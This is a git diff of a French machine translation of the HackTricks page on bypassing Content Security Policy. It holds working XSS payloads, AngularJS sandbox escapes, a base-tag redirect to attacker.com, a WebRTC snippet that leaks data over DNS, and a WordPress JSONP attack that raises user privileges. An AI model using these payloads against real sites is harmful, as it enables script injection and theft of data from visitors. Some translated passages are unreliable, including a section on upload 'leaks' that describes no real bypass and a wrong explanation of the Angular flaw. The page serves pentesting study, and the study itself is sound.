Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2023-08-29 19:08:50 +00:00
parent f763eef4d6
commit 778558ff00

View file

@ -103,7 +103,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Charge utile de travail : `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via les iframes
#### self + 'unsafe-inline' via les Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
@ -148,18 +148,15 @@ Payloads de travail:
Lorsque vous effectuez un test de pénétration sur une application Web, il est courant de rencontrer une politique de sécurité du contenu (CSP) qui restreint les sources autorisées pour les ressources chargées par l'application. Cela peut inclure des restrictions sur les scripts, les images, les polices, etc.
Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les tentatives de chargement de fichiers provenant d'autres domaines.
Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources à partir du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers depuis une source externe.
Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier à un service tiers, puis récupérer le lien de téléchargement de ce service tiers et le fournir à l'utilisateur.
Cependant, il existe des moyens de contourner cette restriction et de télécharger des fichiers à partir de sources externes, même lorsque la directive `default-src` est définie sur `'self'`.
Voici comment cela fonctionne :
L'une des méthodes courantes consiste à utiliser une technique appelée "leak" de contenu. Cela implique de trouver une vulnérabilité dans l'application qui permet de charger du contenu externe et de l'utiliser pour télécharger des fichiers.
1. L'application Web permet aux utilisateurs de télécharger des fichiers.
2. Lorsqu'un utilisateur télécharge un fichier, l'application envoie le fichier à un service tiers (par exemple, un service de stockage en ligne).
3. Le service tiers génère un lien de téléchargement pour le fichier.
4. L'application récupère le lien de téléchargement du service tiers et le fournit à l'utilisateur.
Une autre méthode consiste à utiliser des techniques d'ingénierie sociale pour inciter les utilisateurs à télécharger des fichiers à partir de sources externes. Cela peut être réalisé en utilisant des techniques telles que la manipulation des URL ou la création de faux liens de téléchargement.
De cette façon, le fichier est téléchargé à partir du service tiers, contournant ainsi la restriction CSP. Cependant, il est important de noter que cette technique peut présenter des risques de sécurité, notamment en ce qui concerne la confidentialité des données téléchargées.
Il est important de noter que ces méthodes de contournement de la CSP peuvent être considérées comme des violations de sécurité et ne doivent être utilisées que dans le cadre d'un test de pénétration autorisé.
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
@ -171,7 +168,7 @@ Charge utile fonctionnelle :
```
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorise que le **téléchargement de certains types de fichiers**.
De plus, même si vous pouviez télécharger un **code JS** à l'intérieur d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme Apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refusent d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. Heureusement, il y a des erreurs. Par exemple, à partir d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
De plus, même si vous pouviez télécharger un **code JS** à l'intérieur d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur Apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, à partir d'un CTF, j'ai appris que **Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pouvez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
@ -193,9 +190,21 @@ Chargez une version vulnérable d'Angular et exécutez du code JS arbitraire :
$scope.name = 'John Doe';
});
</script>
<div ng-app="myApp" ng-controller="myController">
<h1>Welcome, {{name}}!</h1>
</div>
```
Dans cet exemple, nous chargeons une version vulnérable d'Angular (1.2.0) à partir de la bibliothèque Google CDN. Ensuite, nous créons un module Angular appelé "myApp" et un contrôleur appelé "myController". Dans le contrôleur, nous définissons une variable $scope "name" avec la valeur "John Doe". Cette vulnérabilité permet à un attaquant d'exécuter du code JS arbitraire sur la page.
Dans cet exemple, nous chargeons une version vulnérable d'Angular (1.2.0) à partir de la bibliothèque Google CDN. En utilisant la directive `ng-app` et `ng-controller`, nous créons une application Angular simple avec un contrôleur qui définit une variable `$scope.name` avec la valeur "John Doe". Cette valeur est ensuite affichée dans un élément `<h1>` à l'aide de l'expression `{{name}}`.
Cependant, cette version d'Angular est vulnérable à une attaque d'injection de code arbitraire. Un attaquant peut exploiter cette vulnérabilité en injectant du code JavaScript malveillant dans la variable `$scope.name`. Par exemple, si l'attaquant parvient à injecter le code suivant :
```html
{{name}}<script>alert('XSS')</script>
```
Le code JavaScript sera exécuté lors de l'évaluation de l'expression `{{name}}`, ce qui entraînera l'affichage d'une boîte de dialogue avec le message "XSS". Cela démontre comment une version vulnérable d'Angular peut être exploitée pour exécuter du code JavaScript arbitraire.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -219,7 +228,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Charges utiles utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet `window` ([consultez cet article](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -262,15 +271,15 @@ ng-init="c.init()"
```
### Points de terminaison tiers + JSONP
JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu autorisées.
JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type XSS (Cross-Site Scripting) en limitant les sources de contenu autorisées.
Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, il est possible d'utiliser JSONP pour contourner cette restriction.
JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Le script ajouté à la page web exécute ensuite cette fonction de rappel, permettant ainsi d'accéder aux données JSON.
JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre.
Pour exploiter cette vulnérabilité, un attaquant peut utiliser une injection de code JavaScript pour ajouter un script malveillant à la page web. Ce script malveillant peut alors charger des données JSON à partir d'un point de terminaison tiers non autorisé par la CSP, contournant ainsi les restrictions de sécurité.
Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers vulnérable à JSONP pour exécuter du code malveillant sur la page web cible. Cela peut permettre à l'attaquant de voler des informations sensibles, d'injecter du code malveillant ou de compromettre la sécurité de la page web.
Il est important de noter que JSONP présente des risques de sécurité, car il peut être utilisé pour exécuter du code malveillant sur le navigateur de l'utilisateur. Par conséquent, il est recommandé de ne pas utiliser JSONP et de préférer des méthodes plus sécurisées pour accéder à des ressources tierces, telles que l'utilisation de l'API Fetch avec des en-têtes CORS appropriés.
Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière sécurisée.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -305,7 +314,7 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage suspendu**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS.**\
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS**.\
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise base.
```html
<base href="https://www.attacker.com/">
@ -351,7 +360,7 @@ Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **créer** une **image spéciale**, la **télécharger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **créer** une **image spéciale**, la **télécharger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'image, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Service Workers
@ -452,7 +461,7 @@ Pour plus d'informations, [**consultez le rapport original ici**](https://socrad
### Contournement de la CSP en restreignant la CSP
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **écrasement de DOM**, permet d'**exploiter un script différent pour charger un script arbitraire**.
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **écrasement du DOM**, permet de **utiliser un autre script pour charger un script arbitraire**.
Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
@ -472,7 +481,7 @@ CSP peut être rendu plus restrictif en utilisant des **balises méta HTML** et
```
### Exfiltration JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela va **déclencher une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple, [**consultez cette solution CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -543,10 +552,10 @@ SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans
De plus, **wordpress** dispose d'un point d'extrémité **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** vulnérable qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Un attaquant peut abuser de ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration
## Contournements de la fuite de CSP
Si une CSP stricte ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
@ -586,20 +595,17 @@ Afin d'éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots)
Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots).
{% endhint %}
### WebRTC
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src` du CSP**.
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En réalité, vous pouvez *fuir* des informations en utilisant une *requête DNS*. Jetez un coup d'œil à ce code :
```javascript
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Cependant, il semble que ce ne soit plus possible (ou du moins pas aussi facile).
Si vous savez comment exfiltrer des informations avec WebRTC, veuillez envoyer une demande de tirage s'il vous plaît !
## Vérification des politiques CSP en ligne
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
@ -623,7 +629,7 @@ Si vous savez comment exfiltrer des informations avec WebRTC, veuillez envoyer u
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
**Obtenez une récompense sans délai**\
**Obtenez des récompenses sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Acquérez de l'expérience en pentesting web3**\
@ -640,7 +646,7 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**